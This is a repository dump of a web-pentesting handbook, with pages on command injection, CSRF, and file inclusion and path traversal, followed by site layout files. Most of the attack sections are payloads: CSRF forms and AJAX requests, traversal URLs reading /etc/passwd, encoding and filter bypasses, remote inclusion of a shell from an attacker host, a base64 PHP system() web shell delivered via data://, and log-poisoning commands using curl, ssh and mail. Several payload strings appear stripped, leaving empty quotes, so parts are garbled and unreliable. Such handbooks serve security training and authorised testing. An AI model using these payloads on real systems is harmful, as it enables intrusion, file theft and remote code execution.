itself.[^substitution-gnu] 64 | 65 | ```sh 66 | `cat /etc/passwd` 67 | ``` 68 | 69 | ```sh 70 | $(cat /etc/passwd) 71 | ``` 72 | 73 | ## Filter Bypassing 74 | 75 | ### Space filtering [^spaceless-ifs] 76 | 77 | #### Linux 78 | 79 | ```sh 80 | cat}} 25 | CSRF is not limited to web applications. 26 | An attacker could embed scripting into 27 | any document format allowing scripting. 28 | {{}} 29 | 30 | ## Methodology 31 | 32 | {{< figure src="/images/csrf-cheatsheet.png" alt="CSRF Methodology" title="CSRF Methodology. Source: PayloadsAllTheThings." >}} 33 | 34 | ## Validation Bypass 35 | 36 | ### Parameters and Headers 37 | 38 | Some applications validate parameters and headers 39 | only if present. 40 | Try removing token parameters/headers 41 | or commonly validated headers such as 42 | `Referer`, `Host`, or `Origin`. 43 | 44 | ### Different Token 45 | 46 | Some applications validate the token 47 | from a pool. 48 | Meaning it is not tied to a user session 49 | and **any other token may be valid**. 50 | 51 | Other applications only validate 52 | the length of the token. 53 | **Strings of the same length may be valid**. 54 | 55 | ### HTTP Request Method 56 | 57 | Sometimes applications validate the token 58 | only under predefined methods. 59 | For example, 60 | try changing from `POST` to `GET`. 61 | 62 | {{}} 63 | There are cases 64 | where the method is defined by a parameter 65 | or a custom header such as: 66 | 67 | - X-HTTP-Method 68 | - X-HTTP-Method-Override 69 | - X-Method-Override 70 | {{}} 71 | 72 | ### Content Type 73 | 74 | Like with the request method, 75 | applications may validate the token 76 | only for a predefined `Content-type`. 77 | Try a different `Content-type` such as: 78 | 79 | - `application/json` 80 | - `application/x-url-encoded` 81 | - `form-multipart` 82 | 83 | ### Referrer Policy [^referer-referrer-policy] 84 | 85 | The `Referrer-Policy` header 86 | defines what data is made available 87 | in the `Referer` header. 88 | Its purpose is to add privacy, 89 | preventing information leaking. 90 | 91 | Referrer validation may be bypassed by 92 | hiding its value using the `no-referrer` policy. 93 | 94 | ```html 95 | }}" rel="noreferrer"> 96 | ``` 97 | 98 | ### Referer Regex Validation [^referer-bypass] 99 | 100 | Use manipulated strings 101 | to bypass `Referer` header regex validation. 102 | 103 | ```txt 104 | https://0xffsec.com [no protected] 105 | https://0xffsec.com?safe_com 106 | https://0xffsec.com;safe_com 107 | https://0xffsec.com/safe_com/../target.file 108 | https://safe_com.0xffsec.com 109 | https://0xffsecsafe_com 110 | https://safe_com@0xffsec.com 111 | https://0xffsec.com#safe_com 112 | https://0xffsec.com\.safe_com 113 | https://0xffsec.com/.safe_com 114 | https://saf.com 115 | https://safez.com 116 | file://safe_com 117 | ``` 118 | 119 | ## Payloads 120 | 121 | ### HTML GET - User Interaction 122 | 123 | ```html 124 | }}/user/update/?username=0xffsec">Click Here! 125 | ``` 126 | 127 | ### HTML GET - No Interaction 128 | 129 | ```html 130 | }}/user/update/?username=0xffsec"> 131 | ``` 132 | 133 | ```html 134 | 135 | ``` 136 | 137 | ### FORM GET - No Interaction 138 | 139 | ```html 140 | 141 |
}}/user/update/"> 142 | 143 | 144 |
145 | 148 | ``` 149 | 150 | ### FORM POST - User Interaction 151 | 152 | ```html 153 |
}}/user/update/" enctype="text/plain" method="POST"> 154 | 155 | 156 |
157 | ``` 158 | 159 | ### FORM POST - No Interaction 160 | 161 | ```html 162 | 163 |
}}/user/update/" enctype="text/plain" method="POST"> 164 | 165 |
166 | 169 | ``` 170 | 171 | ### AJAX GET 172 | 173 | ```javascript 174 | var url = "http://{{< param "war.rdomain" >}}/user/update/?username=0xffsec" 175 | var xhr = new XMLHttpRequest(); 176 | xhr.open("GET", url); 177 | xhr.setRequestHeader("Content-Type", "text/plain"); 178 | xhr.send(); 179 | ``` 180 | 181 | ### AJAX POST 182 | 183 | ```javascript 184 | var url = "http://{{< param "war.rdomain" >}}/user/update/" 185 | var xhr = new XMLHttpRequest(); 186 | xhr.open("POST", url, true); 187 | xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 188 | xhr.send("username=0xffsec"); 189 | ``` 190 | 191 | ```javascript 192 | var url = "http://{{< param "war.rdomain" >}}/user/update/" 193 | var xhr = new XMLHttpRequest(); 194 | xhr.open("POST", url, true); 195 | xhr.withCredentials = true; 196 | xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); 197 | xhr.send('{"username":0xffsec}'); 198 | ``` 199 | 200 | {{}} 201 | AS mention [before](#content-type), try with different content types: 202 | 203 | - `xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");` 204 | - `xhr.setRequestHeader("Content-Type", "multipart/form-data");` 205 | {{}} 206 | 207 | ### Get Token from iFrame 208 | 209 | ```html 210 | 218 | 219 | ``` 220 | 221 | ### Get Token with Ajax 222 | 223 | ```javascript 224 | var url = "http://{{< param "war.rdomain" >}}/user/update/" 225 | var xhr = new XMLHttpRequest(); 226 | xhr.responseType = "document"; 227 | xhr.open("GET", url, true); 228 | xhr.onload = function (e) { 229 | if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { 230 | var token = xhr.response.getElementsByName("user_token")[0].value; 231 | console.log(token); 232 | } 233 | }; 234 | xhr.send(); 235 | ``` 236 | 237 | ### CSRF Token Example 238 | 239 | This is **just one** example. 240 | Use the token with 241 | any of the payloads mention earlier. 242 | 243 | ```html 244 | 256 | 257 |
}}/user/update/" enctype="text/plain" method="POST"> 258 | 259 | 260 |
261 | ``` 262 | 263 | ## Further Reading 264 | 265 | - [MDN - Cross Origin Resource Sharing (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) 266 | - [OWASP - CSRF](https://owasp.org/www-community/attacks/csrf) 267 | - [OWASP - Prevention Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) 268 | - [PortSwigger - Cross-site request forgery](https://portswigger.net/web-security/csrf) 269 | - [PortSwigger - XSS vs CSRF](https://portswigger.net/web-security/csrf/xss-vs-csrf) 270 | 271 | [^csrf-cgisecurity]: “The Cross-Site Request Forgery (CSRF/XSRF) FAQ.” CGISecurity - Website and Application Security News, https://www.cgisecurity.com/csrf-faq.html. 272 | [^swissky-csrf]: swisskyrepo. “PayloadsAllTheThings/CSRF Injection at Master.” GitHub, https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection. 273 | [^referer-bypass]: “Bypass Referer Check Logic for CSRF.” HAHWUL, https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/. 274 | [^referer-referrer-policy]: “Referer and Referrer-Policy Best Practices.” Web.Dev, https://web.dev/referrer-best-practices/. 275 | -------------------------------------------------------------------------------- /content/web-applications/file-inclusion-and-path-traversal.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: LFI / RFI and Path Traversal 3 | title: File Inclusion and Path Traversal - Web Applications Pentesting 4 | --- 5 | 6 | # File Inclusion and Path Traversal 7 | 8 | ## At a Glance 9 | 10 | #### File Inclusion 11 | 12 | File inclusion is the method for applications, 13 | and scripts, 14 | to include local or remote files during run-time. 15 | The vulnerability occurs when an application 16 | generates a path to executable code 17 | using an attacker-controlled variable, 18 | giving the attacker 19 | control over which file is executed. 20 | 21 | There are two different types. 22 | **Local File Inclusion** (LFI) 23 | where the application 24 | includes files on the current server. 25 | And **Remote File Inclusion** (RFI) 26 | where the application 27 | downloads and execute files from a remote server. 28 | [^wiki-file-inclusion] 29 | 30 | #### Path Traversal 31 | 32 | A path, 33 | or directory, 34 | traversal attack 35 | consists of exploiting weak validation, 36 | or sanitization, 37 | of user-supplied data 38 | allowing the attacker to read files, 39 | or directories, 40 | outside the context of the current application. 41 | 42 | The use of these techniques 43 | may lead to 44 | information disclosure, 45 | cross-site-Scripting (XSS), 46 | and remote code execution (RCE).[^owasp-path-traversal] 47 | 48 | ## LFI 49 | 50 | ### Basic LFI 51 | 52 | #### Absolute Path Traversal 53 | 54 | ```text 55 | http://{{< param "war.rdomain" >}}/index.php?page=/etc/passwd 56 | ``` 57 | 58 | #### Relative Path Traversal 59 | 60 | ```text 61 | http://{{< param "war.rdomain" >}}/index.php?page=../../../etc/passwd 62 | ``` 63 | 64 | ### Null Byte 65 | 66 | Sometimes applications append extra characters, 67 | like file extensions, 68 | to the input variable. 69 | A null byte will make the application 70 | ignore the following characters. 71 | 72 | ```text 73 | http://{{< param "war.rdomain" >}}/index.php?page=../../../etc/passwd%00 74 | ``` 75 | 76 | {{}} 77 | PHP fixed the issue 78 | in version 5.3.4. 79 | {{}} 80 | 81 | ### Dot Truncation 82 | 83 | In PHP, 84 | filenames longer than 4096 bytes 85 | will be truncated and, 86 | characters after that, 87 | ignored. 88 | 89 | ```text 90 | http://{{< param "war.rdomain" >}}/index.php?page=../../../etc/passwd................[ADD MORE] 91 | http://{{< param "war.rdomain" >}}/index.php?page=../../../etc/passwd\.\.\.\.\.\.\.\.[ADD MORE] 92 | http://{{< param "war.rdomain" >}}/index.php?page=../../../etc/passwd/./././././././.[ADD MORE] 93 | http://{{< param "war.rdomain" >}}/index.php?page=../../../[ADD MORE]../../../../../etc/passwd 94 | ``` 95 | 96 | {{}} 97 | In PHP: 98 | `/etc/passwd` = `/etc//passwd` = `/etc/./passwd` = `/etc/passwd/` = `/etc/passwd/` 99 | {{}} 100 | 101 | ### Encoding 102 | 103 | Manipulating variables that reference files 104 | with “dot-dot-slash" (`../`) sequences and its variations, 105 | or using absolute file paths, 106 | may allow bypassing poorly implemented input filtering. 107 | [^swissky-dt] 108 | 109 | | | URL | Double URL | UTF-8 Unicode | 16 bits Unicode | 110 | |-----|-------|------------|-------------------------------|-----------------| 111 | | `.` | `%2e` | `%252e` | `%c0%2e` `%e0%40%ae` `%c0%ae` | `%u002e` | 112 | | `/` | `%2f` | `%252f` | `%c0%2f` `%e0%80%af` `%c0%af` | `%u2215` | 113 | | `\` | `%2c` | `%252c` | `%c0%5c` `%c0%80%5c` | `%u2216` | 114 | 115 | #### Encoded `../` 116 | ```text 117 | %2e%2e%2f 118 | %252e%252e%252f 119 | %c0%ae%c0%ae%c0%af 120 | %uff0e%uff0e%u2215 121 | ``` 122 | #### Encoded `..\` 123 | ```text 124 | %2e%2e%2c 125 | %252e%252e%252c 126 | %c0%ae%c0%ae%c0%af 127 | %uff0e%uff0e%u2216 128 | ``` 129 | 130 | #### Double URL Encoding 131 | 132 | ```text 133 | http://{{< param "war.rdomain" >}}/index.php?page=%252e%252e%252fetc%252fpasswd 134 | ``` 135 | 136 | #### UTF-8 Encoding 137 | 138 | ```text 139 | http://{{< param "war.rdomain" >}}/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd 140 | ``` 141 | 142 | ### Bypass Filtering 143 | 144 | ```text 145 | http://{{< param "war.rdomain" >}}/index.php?page=....//....//etc/passwd 146 | http://{{< param "war.rdomain" >}}/index.php?page=..///////..////..//////etc/passwd 147 | http://{{< param "war.rdomain" >}}/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd 148 | ``` 149 | 150 | ### Bypass `../` removal 151 | 152 | ```text 153 | ..././ 154 | ...\.\ 155 | ``` 156 | 157 | ### Bypass `../` replaced with `;` 158 | 159 | ```text 160 | ..;/ 161 | http://{{< param "war.rdomain" >}}/page.jsp?include=..;/..;/sensitive.txt 162 | ``` 163 | 164 | ### Windows UNC Share [^unc-share] 165 | 166 | Windows UNC shares can be injected 167 | to redirect access to other resources. 168 | 169 | ```text 170 | \\localhost\c$\windows\win.ini 171 | ``` 172 | 173 | ## RFI 174 | 175 | Most filter bypassing techniques for LFI 176 | can be used for RFI. 177 | 178 | ### Basic RFI 179 | 180 | ```text 181 | http://{{< param "war.rdomain" >}}/index.php?page=http://{{< param "war.ldomain" >}}/shell.txt 182 | ``` 183 | 184 | ### Null Byte 185 | 186 | ```text 187 | http://{{< param "war.rdomain" >}}/index.php?page=http://{{< param "war.ldomain" >}}/shell.txt%00 188 | ``` 189 | 190 | ### Bypass `http(s)://` removal 191 | 192 | ```text 193 | hhttp://thttp://thttp://phttp://:http://http:///http:/// 194 | hhttps://thttps://thttps://phttps://shttps://:https:///https:///https:// 195 | ``` 196 | 197 | ### Bypass `allow_url_include` 198 | 199 | On Windows, 200 | it is possible to bypass disabled `allow_url_include` and `allow_url_fopen` 201 | by using `SMB`. 202 | Simply including a script 203 | located in an open share. 204 | 205 | ```text 206 | http://{{< param "war.rdomain" >}}/index.php?page=\\{{< param "war.lhost" >}}\share\shell.php 207 | ``` 208 | 209 | ## PHP Stream Wrappers 210 | 211 | PHP provides many built-in wrappers 212 | for various protocols, 213 | to use with file functions 214 | such as `fopen`, `copy`, `file_exists`, 215 | and `filezise`. 216 | [^php-wrappers] 217 | 218 | ### php://filter 219 | 220 | [`php://filter`](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.filter) is a kind of meta-wrapper 221 | that allows filtering a stream 222 | before the content is read. 223 | The resulting data 224 | is the encoded version 225 | of the given file's source code. 226 | 227 | {{}} 228 | Multiple [filter](https://www.php.net/manual/en/filters.php) chains can be specified on one path, 229 | chained using `|` or `/`. 230 | {{}} 231 | 232 | #### Filter [string.rot13](https://www.php.net/manual/en/filters.string.php#filters.string.rot13). 233 | 234 | ```text 235 | http://{{< param "war.rdomain" >}}/index.php?page=php://filter/read=string.rot13/resource=index.php 236 | ``` 237 | 238 | #### Filter [convert.base64](https://www.php.net/manual/en/filters.convert.php#filters.convert.base64). 239 | 240 | ```text 241 | http://{{< param "war.rdomain" >}}/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php 242 | http://{{< param "war.rdomain" >}}/index.php?page=php://filter/convert.base64-encode/resource=index.php 243 | ``` 244 | 245 | #### Filter chaining [zlib.deflate](https://www.php.net/manual/en/filters.compression.php#filters.compression.zlib) and [convert.base64](https://www.php.net/manual/en/filters.convert.php#filters.convert.base64). 246 | 247 | ```text 248 | http://{{< param "war.rdomain" >}}/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd 249 | ``` 250 | 251 | ##### Base64 decode and gzip inflate. 252 | 253 | The resulting encoded string 254 | can be decoded and inflated 255 | by piping it into the following PHP script: 256 | 257 | ```sh 258 | echo [BASE64-STR] | php -r 'echo gzinflate(base64_decode(file_get_contents("php://stdin")));' 259 | ``` 260 | 261 | ### zip:// 262 | 263 | [zip://](https://www.php.net/manual/en/wrappers.compression.php) is a wrapper for zip compression streams. 264 | To leverage the zip functionalities, 265 | upload a zipped PHP script to the server 266 | (with the preferred extension) 267 | and decompress in the server 268 | using the `zip://#`, 269 | being `` the resulting decompressed file. 270 | 271 | ```sh 272 | echo -n '' > shell.php 273 | zip shell.jpg shell.php 274 | ``` 275 | ```text 276 | http://{{< param "war.rdomain" >}}/index.php?page=zip://shell.jpg%23shell.php 277 | ``` 278 | 279 | ### data:// 280 | 281 | [data://](https://www.php.net/manual/en/wrappers.data.php) is a wrapper for [RFC2397](https://tools.ietf.org/html/rfc2397), 282 | or `data://` scheme. 283 | The scheme allows the inclusion of small data items 284 | as if it had been included externally. 285 | [^ietf-rfc2397] 286 | 287 | PHP Shell Script. 288 | 289 | ```sh 290 | echo -n '' | base64 291 | PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4= 292 | ``` 293 | ```text 294 | http://{{< param "war.rdomain" >}}/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=ls 295 | ``` 296 | 297 | ### expect:// 298 | 299 | [`expect://`](https://www.php.net/manual/en/wrappers.expect.php) wrapper provide access to processes' 300 | `stdio`, `stdout` and `stderr` 301 | via PTY. 302 | 303 | ```text 304 | http://{{< param "war.rdomain" >}}/index.php?page=expect://ls 305 | ``` 306 | 307 | ### php://input 308 | 309 | [`php://input`](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.input) is a read-only stream that allows to read raw data 310 | from the request body. 311 | 312 | ```sh 313 | curl -X POST --data "" "http://{{< param "war.rdomain" >}}/index.php?page=php://input%00" -v 314 | ``` 315 | ## The `proc` File System 316 | 317 | The `proc` file system (`procfs`) 318 | contains a hierarchy of special files 319 | that represent the current state of the kernel. 320 | It acts as an interface 321 | to internal data structures in the kernel 322 | for applications and users. 323 | 324 | Because of its abstract properties, 325 | it is also referred to as a [virtual file system](https://en.wikipedia.org/wiki/Virtual_file_system). 326 | 327 | File within this directory 328 | are listed as zero bytes in size, 329 | even though, 330 | can contain a large amount of data. 331 | [^kernel-proc] 332 | 333 | #### Process Directories 334 | 335 | The `/proc` directory contains 336 | one subdirectory for each process 337 | running on the system, 338 | which is named 339 | after the process ID (PID). 340 | Concurrently, 341 | each of these directories 342 | contains files to store information 343 | about the respective process. 344 | [^linux-man-proc] 345 | 346 | #### `/proc/self` ([/fs/proc/self.c](https://github.com/torvalds/linux/blob/master/fs/proc/self.c)) 347 | 348 | The `/proc/self` 349 | represents the currently scheduled PID. 350 | In other words, 351 | a symbolic link 352 | to the currently running process's directory. 353 | 354 | It is a self-referenced device driver, 355 | or module, 356 | maintained by the Kernel. 357 | 358 | ### Useful `/proc` entries 359 | 360 | - `/proc/version`: 361 | Kernel version. 362 | - `/proc/sched_debug`: 363 | Scheduling information 364 | and running processes 365 | per CPU. 366 | - `/proc/mounts`: 367 | Mounted file systems. 368 | - `/proc/net/arp`: 369 | ARP table. 370 | - `/proc/net/route`: 371 | Routing table. 372 | - `proc/net/tcp` / `udp`: 373 | TCP or UDP active connections. 374 | - `/proc/net/fib_trie`: 375 | Routing tables trie.[^route-lookup] 376 | 377 | ### Useful `/proc/[PID]` entries 378 | 379 | - `/proc/[PID]/cmdline` 380 | Process invocation command with parameters. 381 | 382 | It potentially exposes 383 | paths, 384 | usernames and passwords. 385 | - `/proc/[PID]/environ` 386 | Environment variables. 387 | 388 | It potentially exposes 389 | paths, 390 | usernames and passwords. 391 | - `/proc/[PID]/cwd` 392 | Process' current working directory. 393 | - `/proc/[PID]/fd/[#]` 394 | File descriptors. 395 | 396 | Contains one entry 397 | for each file 398 | which the process has open. 399 | 400 | ### LFI2RCE - /proc 401 | 402 | #### /proc/self/environ 403 | 404 | `/proc/self/environ` contains user inputs 405 | that turn it 406 | in a useful volatile storage. 407 | Apache stores an environment variable 408 | for the `HTTP_USER_AGENT` header 409 | to be used by 410 | the self-contained modules.[^ush-lfi2rce] 411 | 412 | ```sh 413 | curl "http://{{< param "war.rdomain" >}}/index.php?page=/proc/self/environ&c=id" -H "User-Agent" --data "" 414 | ``` 415 | 416 | #### /proc/[PID]/fd/[FD] [^swissky-dt] 417 | 418 | 1. Upload A LOT of shells. 419 | 2. Include `http://{{< param "war.rdomain" >}}/index.php?page=/proc/$PID/fd/$fd`. 420 | 421 | Bruteforce the process ID (`$PID`) 422 | and file descriptor id (`$FD`) 423 | 424 | ## LFI2RCE - Log Poisoning 425 | 426 | A log file 427 | is a file that contains a record of events from an application. 428 | A log poisoning attack 429 | consists of triggering one of these events 430 | with executable code as part of the logged data, 431 | and successively, 432 | through LFI, 433 | include and execute the code. 434 | 435 | {{}} 436 | It is recommended to first load the target log, 437 | not only to verify the access 438 | but to identify what data is being stored. 439 | 440 | Administrators can modify the logged data 441 | according to their needs. 442 | {{}} 443 | 444 | ### Apache 445 | 446 | By default, 447 | Apache maintains access and error logs. 448 | The `error` log, 449 | commonly, 450 | register the `Referer` header, 451 | while the `acccess` log, 452 | the `User-Agent`. 453 | [^apache-log] 454 | 455 | #### Access Log 456 | Make a valid request 457 | with the code in the `User-Agent` header. 458 | 459 | ```sh 460 | curl -H 'User-Agent' --data "" "http://{{< param "war.rdomain" >}}" -v 461 | ``` 462 | #### Error Log 463 | Make an invalid request, 464 | an invalid inclusion for example, 465 | with the suitable `Referer` header. 466 | 467 | ```sh 468 | curl -H 'Referer' --data "" "http://{{< param "war.rdomain" >}}/invalid#req" -v 469 | ``` 470 | 471 | {{}} 472 | The Apache logging API 473 | escapes strings going to the logs. 474 | 475 | Use single quotes (`'`) 476 | since double quotes (`"`) are replaced escaped as `"quote";` 477 | {{}} 478 | 479 | #### LFI 480 | 481 | ```txt 482 | http://{{< param "war.rdomain" >}}/index.php?page=/path/to/access.log&c=id 483 | ``` 484 | 485 | #### Common Apache Log Paths 486 | 487 | Log files can also be set to custom locations, 488 | either globally, 489 | or domain based if virtual hosting is enabled. 490 | 491 | ```text 492 | /var/log/httpd/access_log 493 | /var/log/httpd/error_log 494 | 495 | /var/log/apache/access.log 496 | /var/log/apache/error.log 497 | 498 | /var/log/apache2/access.log 499 | /var/log/apache2/error.log 500 | 501 | /usr/local/apache/log/access_log 502 | /usr/local/apache/log/error_log 503 | 504 | /usr/local/apache2/log/access_log 505 | /usr/local/apache2/log/error_log 506 | 507 | /var/log/nginx/access.log 508 | /var/log/nginx/error.log 509 | ``` 510 | 511 | ### SSH 512 | 513 | SSH logs the username of each connection. 514 | Create a connection to SSH 515 | with the suitable username. 516 | 517 | ```sh 518 | ssh ''@{{< param "war.rdomain" >}} 519 | ``` 520 | 521 | #### LFI 522 | 523 | ```txt 524 | http://{{< param "war.rdomain" >}}/index.php?page=/path/to/sshd.log&c=id 525 | ``` 526 | 527 | #### Common SSH Log Paths 528 | 529 | ```text 530 | /var/log/auth.log 531 | /var/log/sshd.log 532 | ``` 533 | 534 | ### Email 535 | 536 | Email an internal account, 537 | containing the script. 538 | 539 | ```sh 540 | mail -s "" www-data@{{< param "war.rhost" >}} < /dev/null 541 | ``` 542 | 543 | #### LFI 544 | 545 | ```txt 546 | http://{{< param "war.rdomain" >}}/index.php?page=/var/mail/www-data&c=id 547 | ``` 548 | 549 | ## Further Reading 550 | 551 | - [OWASP - Testing Directory Traversal File Include](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include.md) 552 | - [BSidesMCR 2018: It's A PHP Unserialization Vulnerability Jim, But Not As We Know It by Sam Thomas](https://www.youtube.com/watch?v=GePBmsNJw6Y) 553 | - [PayloadsAllTheThings Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders) 554 | 555 | [^owasp-path-traversal]: “Path Traversal - OWASP.” OWASP, https://wiki.owasp.org/index.php/Path_Traversal. 556 | [^wiki-file-inclusion]: Contributors to Wikimedia projects. “File Inclusion Vulnerability - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 24 Nov. 2006, https://en.wikipedia.org/wiki/File_inclusion_vulnerability. 557 | [^swissky-dt]: swisskyrepo. “PayloadsAllTheThings / Directory Traversal.” GitHub, https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal. 558 | [^unc-share]: “CWE-40: Path Traversal: ‘\\UNC\share\name\’ (Windows UNC Share) (4.1).” CWE -  Common Weakness Enumeration, https://cwe.mitre.org/data/definitions/40.html. 559 | [^data-scheme]: “RFC 2397 - The ‘Data’ URL Scheme.” IETF Tools, https://tools.ietf.org/html/rfc2397. 560 | [^apache-log]: “Log Files - Apache HTTP Server Version 2.4.” Welcome! - The Apache HTTP Server Project, https://httpd.apache.org/docs/2.4/logs.html. 561 | [^php-wrappers]: “PHP: Supported Protocols and Wrappers - Manual.” PHP: Hypertext Preprocessor, https://www.php.net/manual/en/wrappers.php. 562 | [^ietf-rfc2397]: “RFC 2397 - The ‘Data’ URL Scheme.” IETF Tools, https://tools.ietf.org/html/rfc2397. 563 | [^kernel-proc]: “The /Proc Filesystem.” The Linux Kernel  Documentation, https://www.kernel.org/doc/html/latest/filesystems/proc.html. 564 | [^route-lookup]: Bernat, Vincent. “IPv4 Route Lookup on Linux ⁕ Vincent Bernat.” MTU Ninja Vincent Bernat, https://vincent.bernat.ch/en/blog/2017-ipv4-route-lookup-linux. 565 | [^linux-man-proc]: “Proc(5) - Linux Manual Page.” Michael Kerrisk - Man7.Org, https://man7.org/linux/man-pages/man5/proc.5.html. 566 | [^ush-lfi2rce]: “LFI2RCE (Local File Inclusion to Remote Code Execution) Advanced Exploitation: /Proc Shortcuts.” Ush.It - a Beautiful Place, https://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/. 567 | -------------------------------------------------------------------------------- /layouts/notes/list.html: -------------------------------------------------------------------------------- 1 | {{ define "main" }} 2 |
3 | {{- .Content -}} 4 | 5 | {{ range sort .Pages }} 6 | 9 | {{ end }} 10 | 11 |
12 | {{ end }} 13 | -------------------------------------------------------------------------------- /layouts/partials/docs/inject/head.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /layouts/shortcodes/highlight.html: -------------------------------------------------------------------------------- 1 |
2 |

3 | {{ .Inner | markdownify }} 4 |

5 |
6 | -------------------------------------------------------------------------------- /layouts/shortcodes/note.html: -------------------------------------------------------------------------------- 1 |
2 |
3 | 4 | 5 | 6 | 7 | 8 |
9 |
10 |

11 | Note: 12 | {{ .Inner | markdownify }} 13 |

14 |
15 |
16 | -------------------------------------------------------------------------------- /static/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/favicon.ico -------------------------------------------------------------------------------- /static/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/favicon.png -------------------------------------------------------------------------------- /static/images/apple-touch-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/apple-touch-icon.png -------------------------------------------------------------------------------- /static/images/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/banner.png -------------------------------------------------------------------------------- /static/images/csrf-cheatsheet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/csrf-cheatsheet.png -------------------------------------------------------------------------------- /static/images/favicon-16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/favicon-16x16.png -------------------------------------------------------------------------------- /static/images/favicon-32x32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/favicon-32x32.png -------------------------------------------------------------------------------- /static/images/favicon-96x96.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/favicon-96x96.png -------------------------------------------------------------------------------- /static/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/favicon.ico -------------------------------------------------------------------------------- /static/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/logo.png -------------------------------------------------------------------------------- /static/images/msrpc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xffsec/handbook/0e8857f03498950efc6c0a6e1d7669d7ea39f1f8/static/images/msrpc.png --------------------------------------------------------------------------------